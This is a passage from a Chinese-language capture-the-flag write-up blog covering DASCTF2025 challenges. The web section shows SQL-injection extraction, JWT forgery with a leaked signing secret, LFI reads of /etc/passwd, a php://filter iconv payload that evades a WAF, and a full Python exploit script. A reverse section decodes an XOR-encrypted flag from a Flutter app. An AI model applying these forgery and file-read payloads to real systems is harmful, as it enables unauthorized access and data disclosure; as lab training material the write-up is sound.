    sql = extract_string(f"SELECT sql FROM sqlite_master LIMIT 1 OFFSET {i}")
    print(f"Type: {type_}")
    print(f"Name: {name}")
    print(f"Table Name: {tbl_name}")
    print(f"SQL: {sql}")

2. 信息收集与密钥发现

登录后进入画廊页面，页面显示 “Welcome Guest”。我们需要提升权限。 查看网页源代码，在 JavaScript 中发现了一个 photoInfo 对象，其中包含图片的描述信息。 仔细观察 Photo ID 字段：

const photoInfo = {
    1: "... Photo ID: G1001 ...",
    2: "... Photo ID: A2002 ...",
    3: "... Photo ID: L3003 ...",
    4: "... Photo ID: L4004 ...",
    5: "... Photo ID: E5005 ...",
    ...
};

提取每个 Photo ID 的首字母，拼凑起来是： GALLERY2024SECRET

这很可能是用于签发 Session 或 Token 的密钥。

3. JWT 伪造 (Privilege Escalation)

观察浏览器的 Cookie，发现存在 auth_token，其格式为 JWT (JSON Web Token)。 解码当前的 Token，Payload 部分如下：

{
  "user": "admin", // 或注入时的用户名
  "role": "guest",
  "iat": 1764991155
}

使用刚才发现的密钥 GALLERY2024SECRET 和 HS256 算法，我们可以伪造一个 role 为 admin 的 Token。

4. LFI 漏洞与过滤器绕过 (LFI & Filter Bypass)

管理员面板提供了一个 “File Export Tool” (文件导出工具)，允许输入文件路径。这通常意味着存在 本地文件包含 (LFI) 或 任意文件读取 漏洞。

尝试读取:

  • /etc/passwd: 成功读取，确认漏洞存在。
  • /flag: 无内容。
  • /flag.txt: 无内容。
  • flag.php: 尝试直接读取，但由于 include 或 require 的机制，PHP 文件会被服务器执行而不是显示源码，导致我们也看不到 Flag。

绕过思路: 通常使用 PHP 伪协议 php://filter 来读取源码。

  • 尝试 php://filter/convert.base64-encode/resource=flag.php: 返回 “Blocked: base64 filter is not allowed!”，说明有 WAF 过滤了 base64 关键字。
  • 尝试 php://filter/string.rot13/resource=flag.php: 同样被拦截。

最终 Payload: 使用字符集转换过滤器来绕过 WAF 并破坏 PHP 标签结构，使其作为普通文本输出。 Payload:

php://filter/convert.iconv.UTF-8.UTF-16/resource=flag.php

这个 Payload 将文件内容从 UTF-8 转换为 UTF-16。PHP 引擎无法正确解析 UTF-16 编码的 <?php 标签，因此会将其作为普通字符串输出。

自动化 Exploit 脚本 (包含 JWT 伪造和 LFI)

以下脚本整合了 Token 伪造和利用 iconv 过滤器读取 flag 的过程。

脚本 pwn_iconv.py:

import requests
import jwt
import time


# Configuration
url_base = "http://b1a7c513-1de5-4e36-a0c6-e2687d976a1f.node5.buuoj.cn:81/"
url_admin = url_base + "admin.php"
secret = "GALLERY2024SECRET"


def forge_token():
    payload = {
        "user": "admin",
        "role": "admin",
        "iat": int(time.time())
    }
    token = jwt.encode(payload, secret, algorithm="HS256")
    return token


def exploit_iconv():
    token = forge_token()
    s = requests.Session()
    s.cookies.set("auth_token", token)


    target = "php://filter/convert.iconv.UTF-8.UTF-16/resource=flag.php"


    print(f"Target: {target}")
    data = {
        "action": "export",
        "filepath": target
    }


    try:
        r = s.post(url_admin, data=data, timeout=10)
        print(f"Status: {r.status_code}")


        content = r.content
        # Look for the HTML start
        html_start = content.find(b"<!DOCTYPE html>")


        if html_start > 0:
            extracted_bytes = content[:html_start]
            print(f"Extracted {len(extracted_bytes)} bytes.")


            # Try to decode
            try:
                decoded = extracted_bytes.decode('utf-16')
                print("Decoded content:")
                print("-" * 40)
                print(decoded)
                print("-" * 40)


                if "DASCTF" in decoded:
                    print("FLAG FOUND!")
            except Exception as e:
                print(f"Decoding error: {e}")
                # Dump hex
                print(extracted_bytes[:100])
        else:
            print("Could not find HTML start or content is empty.")
            print(content[:200])


    except Exception as e:
        print(f"Error: {e}")


if __name__ == "__main__":
    exploit_iconv()

REVERSE#

androidfff#

Terminal window
unzip androidfff.apk -d unzipped
ls unzipped/lib/arm64-v8a/

我们发现了 libflutter.so 和 libapp.so。这表明这是一个 Flutter 开发的应用。 由于是 Release 版本，Dart 代码被 AOT 编译成了机器码存储在 libapp.so 中，无法直接使用 jadx 等常规 Java 反编译工具看到业务逻辑。

使用 Blutter 对 libapp.so 进行分析。注意需要提供对应的 libflutter.so 以匹配 Dart 版本。

Terminal window
python3 blutter/blutter.py "unzipped/lib/arm64-v8a" "blutter_out"

运行成功后，在输出目录 blutter_out/asm/untitled3/main.dart 中找到了主要的业务逻辑代码。

核心逻辑分析

在 main.dart 中，我们关注到 _FlagCheckerState 类，它是检查 Flag 的主要逻辑所在。

主要函数分析：

  1. _checkFlag: 调用了 _xorEncrypt 进行加密/校验。
  2. _xorEncrypt: 包含了具体的加密算法。

查看汇编代码或还原的伪代码，我们可以看到加密逻辑：

  • Key: 硬编码的 XOR 密钥 50 (0x32)。
  • Data: 一个硬编码的整数数组。
// 伪代码逻辑
List<int> encrypted = [
    236, 230, 194, 226, 204, 232, 146, 168, 188, 142, 140, 140, 174,
    128, 218, 182, 130, 218, 130, 186, 218, 174, 166, 130, 150, 158
];
int key = 50;

解密与 Smi Tagging

在 Dart 的 AOT 编译中，小整数（Smi, Small Integer）通常使用 Tagged Pointer 机制存储。这意味着内存中的数值是实际数值左移 1 位（最低位为 0 用于标识这是 Smi）。

我们在提取出的数组中看到的数值（如 236, 230 等）实际上是 Tagged Value。 在进行 XOR 解密前，我们需要将其还原（右移 1 位）。

解密逻辑: char = ((value >> 1) ^ key)

exp：

# 从 main.dart 中提取的加密数组
values = [
    236, 230, 194, 226, 204, 232, 146, 168, 188, 142, 140, 140, 174,
    128, 218, 182, 130, 218, 130, 186, 218, 174, 166, 130, 150, 158
]


# 硬编码的 Key
key = 50


# 解密：先右移1位去除 Smi Tag，再异或
decoded = "".join([chr((v >> 1) ^ key) for v in values])


print(f"Flag: {decoded}")
DASCTF2025
https://return-sin.github.io/-sinQwQ-/posts/dasctf2025/
Author
sinQwQ
Published at
2025-12-05
License
CC BY-NC-SA 4.0
HSCCTF2025
ISCTF2025
© 2026 sinQwQ. All Rights Reserved. / RSS / Sitemap
Powered by Astro & Fuwari